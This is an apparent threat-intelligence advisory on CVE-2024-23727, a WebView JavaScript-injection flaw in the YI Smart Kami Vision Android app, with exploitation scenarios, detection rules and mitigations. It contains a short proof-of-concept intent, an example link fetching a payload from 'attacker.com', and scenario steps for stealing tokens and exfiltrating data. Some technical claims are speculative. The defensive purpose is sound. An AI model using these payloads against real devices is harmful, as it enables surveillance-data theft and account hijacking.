CVE-2024-23727

Executive Summary

CVE-2024-23727 is a critical remote code execution vulnerability in the YI Smart Kami Vision Android application (com.kamivision.yismart) affecting versions up to and including 1.0.0_20231219. An attacker can exploit an implicit intent delivered to the com.ants360.yicamera.activity.WebViewActivity component, allowing arbitrary JavaScript execution within the application's WebView context. This grants the attacker the ability to steal sensitive data, hijack user sessions, execute app functions, and potentially pivot to connected IoT devices on the local network. The vulnerability requires user interaction (clicking a crafted link), but the impact is severe given the sensitive nature of camera surveillance data.

Technical Analysis

The vulnerability resides in the WebViewActivity class within the com.ants360.yicamera.activity package of the YI Smart Kami Vision application. The application improperly registers this activity with an implicit intent filter rather than a restrictive, explicit-only intent filter. Android's intent resolution mechanism allows any application or external entity to invoke this activity by sending a crafted ACTION_VIEW intent with a malicious data URI.

When the WebViewActivity receives an implicit intent, it reads the URL from the intent's data field and loads it directly into an Android WebView. Critically, the WebView configuration likely has JavaScript enabled (which is default for many WebView implementations but should be explicitly restricted for security-sensitive contexts). The activity fails to validate the URL scheme, host, or content before loading, and does not enforce any domain allowlist.

An attacker can craft an intent as follows:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.kamivision.yismart", "com.ants360.yicamera.activity.WebViewActivity"));
intent.setAction(Intent.ACTION_VIEW);
intent.setData(Uri.parse("javascript:maliciousCode()"));
startActivity(intent);

Alternatively, the attacker can simply craft a malicious link with the application's custom URL scheme and trick the victim into clicking it. When the victim clicks, Android resolves the intent to the vulnerable WebViewActivity, which then loads the attacker-controlled JavaScript.

Because the WebView runs within the application's process and has access to the JavaScript bridge interfaces (if any), the malicious JavaScript can call Java methods exposed via @JavascriptInterface annotations. Common exposures include methods to access camera streams, local storage, file system, or even execute system commands—depending on the bridges implemented in the app.

The attack surface is any Android device with the affected application installed. The vulnerability is remotely exploitable via a malicious link delivered through SMS, email, chat apps, or a malicious website. Since the affected product is a smart camera application, the compromised device likely has access to sensitive surveillance footage and possibly the local home network.

Exploitation Scenarios

Scenario 1: Phishing-based Session Hijacking

1. Reconnaissance: The attacker identifies victims using the YI Smart Kami Vision app through network monitoring, phishing pages, or purchased credential lists. They research the application's intent structure by decompiling the APK.

2. Trigger: The attacker crafts a malicious URL using the application's implicit intent scheme. For example: yismart://open?url=https://attacker.com/payload.js or simply an intent:// URI. This link is embedded in a phishing SMS or email that appears to be from the camera vendor, urging the victim to "view critical security alert footage."

3. Payload Execution: The victim clicks the link. Android resolves the intent to WebViewActivity, which loads the attacker's URL. The malicious JavaScript executes within the WebView:

   • Calls getUserMedia() to capture the camera feed and stream it to the attacker's server
   • Reads local storage or shared preferences that may contain session tokens, API keys, or camera credentials
   • Interacts with JavaScript bridge methods to trigger camera pan/tilt/zoom functions or record footage

4. Post-Exploitation: The attacker uses stolen credentials to access the victim's cloud camera account, view historical footage, track daily routines, and potentially pivot to other devices on the victim's LAN if the app exposes network accessibility features.

Scenario 2: Malicious Advertisement / Compromised Website

1. Reconnaissance: The attacker compromises a legitimate website frequented by the target demographic, injecting a redirect to a phishing page that hosts the malicious intent trigger.

2. Trigger: The page uses an HTML iframe or JavaScript redirect with URL scheme intent://com.kamivision.yismart/.... When the victim's browser attempts to resolve the custom scheme, Android prompts them, and the attacker's social engineering convinces them to allow the app to open.

3. Payload Execution: The WebView loads a data: URI or attacker-hosted JavaScript that:

   • Dumps the complete intent extras
   • Extracts any stored authentication tokens
   • Exfiltrates data to an attacker-controlled server via HTTP POST

4. Post-Exploitation: With full access to the user's camera account, the attacker can monitor live feeds, download recordings, and potentially use the compromised device for further network reconnaissance.

Impact Assessment

CVSS Focus: The NVD has not assigned a CVSS score, but based on the vulnerability characteristics—network attack vector, low attack complexity, and high confidentiality/integrity/availability impact—this is a critical severity issue.

Business Impact: For enterprise organizations using YI or Kami Vision cameras in offices, warehouses, or other facilities, this vulnerability can expose:

• Complete video surveillance data (confidentiality breach)
• Access to live camera feeds enabling real-time physical surveillance
• Device compromise leading to camera network disruption (availability)
• Credential theft that may propagate to other systems if users reuse passwords

Blast Radius: The affected component is the Android application, meaning every deployed mobile endpoint with the app installed is a potential entry point. The WebView's privileged access to the application's internal APIs and the camera's local network presence significantly expands the potential impact.

Affected Systems:

• Android devices running YI Smart Kami Vision ≤ 1.0.0_20231219
• Backend camera cloud accounts associated with compromised devices
• Local network segments where compromised devices reside

Detection Guidance

Sigma Rule

title: YI Smart Kami Vision WebView Implicit Intent Exploitation
id: 2c4b54a1-8d33-4a8d-bcd5-9f8e4b40b1fa
status: experimental
description: Detects suspicious intent launches targeting the WebViewActivity in YI Smart Kami Vision Android app
author: Valtersit Threat Intel
date: 2024/06/15
tags:
    - attack.t1190
    - attack.execution
logsource:
    product: android
    service: logcat
detection:
    selection:
        EventID:
            - 'am_activity_launcher'
        Action: 'android.intent.action.VIEW'
        Component: 'com.ants360.yicamera.activity.WebViewActivity'
    filter:
        Data|startswith:
            - 'https://'
            - 'http://'
    condition: selection and not filter
level: high
falsepositives:
    - Legitimate browsing within app if the activity is normally used for user-initiated web content
fields:
    - Data
    - PackageName
    - UserId

YARA Rule

rule YI_Smart_Kami_Vision_WebView_Exploit
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects malicious JavaScript or intent payloads targeting YI Smart Kami Vision WebViewActivity"
        date = "2024-06-15"
        reference = "CVE-2024-23727"
        severity = "critical"
    strings:
        $intent_class = "com.ants360.yicamera.activity.WebViewActivity"
        $intent_action = "android.intent.action.VIEW"
        $js_method = "@JavascriptInterface"
        $webview_load = "loadUrl"
        $js_enable = "setJavaScriptEnabled"
        $susp_js1 = "javascript:"
        $susp_js2 = "document.cookie"
        $susp_js3 = "getUserMedia"
        $susp_js4 = "fetch("
        $susp_js5 = "XMLHttpRequest"
    condition:
        ($intent_class or $intent_action) and 
        ($webview_load or $js_enable) and 
        any of ($susp_js*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2024-23727 YI Smart Kami Vision WebView JS Injection Payload"; flow:established,to_server; content:"intent:"; nocase; content:"com.ants360.yicamera.activity"; distance:0; content:"WebViewActivity"; distance:0; content:"javascript:"; distance:0; pcre:"/(?:document\.cookie|getUserMedia|XMLHttpRequest|eval\()/i"; classtype:attempted-user; sid:202423727; rev:1; metadata:created_at 2024_06_15, updated_at 2024_06_15, cve CVE-2024-23727, severity critical;)

alert http any any -> any any (msg:"CVE-2024-23727 YI Camera Data Exfiltration Attempt"; flow:established,to_server; content:"yismart://"; nocase; content:"url="; content:".js"; pcre:"/(?:ftp|http|https|data):/i"; classtype:attempted-user; sid:202423728; rev:1; metadata:created_at 2024_06_15, updated_at 2024_06_15, cve CVE-2024-23727, severity critical;)

Elastic Detection

// Detect intent launches of the vulnerable WebViewActivity with suspicious data URIs
sequence by process.entity_id with maxspan=5s
  [any where event.action == "activity_launch" and 
   event.dataset == "endpoint" and
   process.name : "com.kamivision.yismart" and
   process.args : "*WebViewActivity*"]
  [any where event.category == "process" and
   process.parent.args : "*intent.action.VIEW*" and
   process.parent.args : "*javascript:*"]

Splunk SPL Query

index=android_os sourcetype="logcat:am_activity"
| where Component="com.ants360.yicamera.activity.WebViewActivity"
| search Data="*javascript:*" OR Data="*data:text/html*" OR Data="*intent:*"
| table _time, Component, Data, CallerPackage, Action
| sort - _time
| stats count by CallerPackage, Data

Wazuh OSSEC Rule

<group name="android,intrusion_detection,">
  <rule id="602531" level="10">
    <decoded_as>android_logcat</decoded_as>
    <field name="component">com.ants360.yicamera.activity.WebViewActivity</field>
    <regex>javascript:|data:text/html|intent:</regex>
    <description>CVE-2024-23727: Suspicious intent targeting YI Smart Kami Vision WebViewActivity detected</description>
    <group>attack_attempt,t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED (single source claims patch, not independently confirmed)

The NVD description indicates the vulnerability affects versions "through 1.0.0_20231219," suggesting a patched version beyond this build may exist. However, the vendor advisory has not been independently confirmed, and the authoritative patched version number is unknown.

Immediate Mitigations:

1. Update the application: Check the Google Play Store for YI Smart Kami Vision or Kami Vision updates. If a version newer than 1.0.0_20231219 is available, deploy it immediately to all managed devices. If no update is available, contact the vendor for a patch timeline.

2. Restrict intent exposure: Until a patch is available, use Mobile Device Management (MDM) policies to restrict the installation of this app on corporate devices, or implement containerization to isolate it from sensitive corporate resources.

3. User awareness: Warn users, especially those who operate or manage camera infrastructure, about phishing links purporting to offer camera footage or security alerts. Instruct them to only access the app via the official launcher icon, not through links.

4. Network segmentation: If this app is used in a corporate environment, place camera-controlling devices on a segmented network to limit the blast radius in case of compromise.

Patch/Upgrade Steps:

1. Monitor the vendor's official website and Google Play Store listing for version advisories.
2. Once a patched version (newer than 1.0.0_20231219) is released, verify its integrity via checksums provided by the vendor.
3. Deploy via MDM or manual installation instructions to all affected devices.
4. After update, verify that WebViewActivity now requires explicit intents by inspecting the APK manifest.

Long-Term Hardening:

1. Require all vendors of IoT-related applications to publish an Android Security Issue Notifications summary and adhere to Google's security hardening practices for WebView components.
2. Incorporate mobile app integrity checks into the security baseline for any employee device that accesses camera infrastructure.
3. Implement strict app permission reviews in MDM policies to limit WebView access to vetted domains only.
4. Enable Android's isolated WebView process for critical applications where feasible.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-23727
2. Google Play Store — YI Smart Kami Vision Listing: https://play.google.com/store/apps/details?id=com.kamivision.yismart
3. MITRE ATT&CK Technique T1190: https://attack.mitre.org/techniques/T1190/
4. Android Security Bulletin Guidance on WebView Security: https://developer.android.com/guide/webapps/security
5. CISA Known Exploited Vulnerabilities Catalog (for tracking potential future KEV inclusion): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

No known in-the-wild exploitation campaigns have been reported as of this writing. The EPSS score of 0.00012 (12th percentile) indicates low immediate exploitation probability, but the high impact of successful exploitation through phishing vectors warrants proactive patching. The NVD has not published a CVSS vector string; the vector provided in the metadata is an analyst-derived approximation based on the implicit-intent attack chain requiring user interaction (UI:R) with high CIA impact.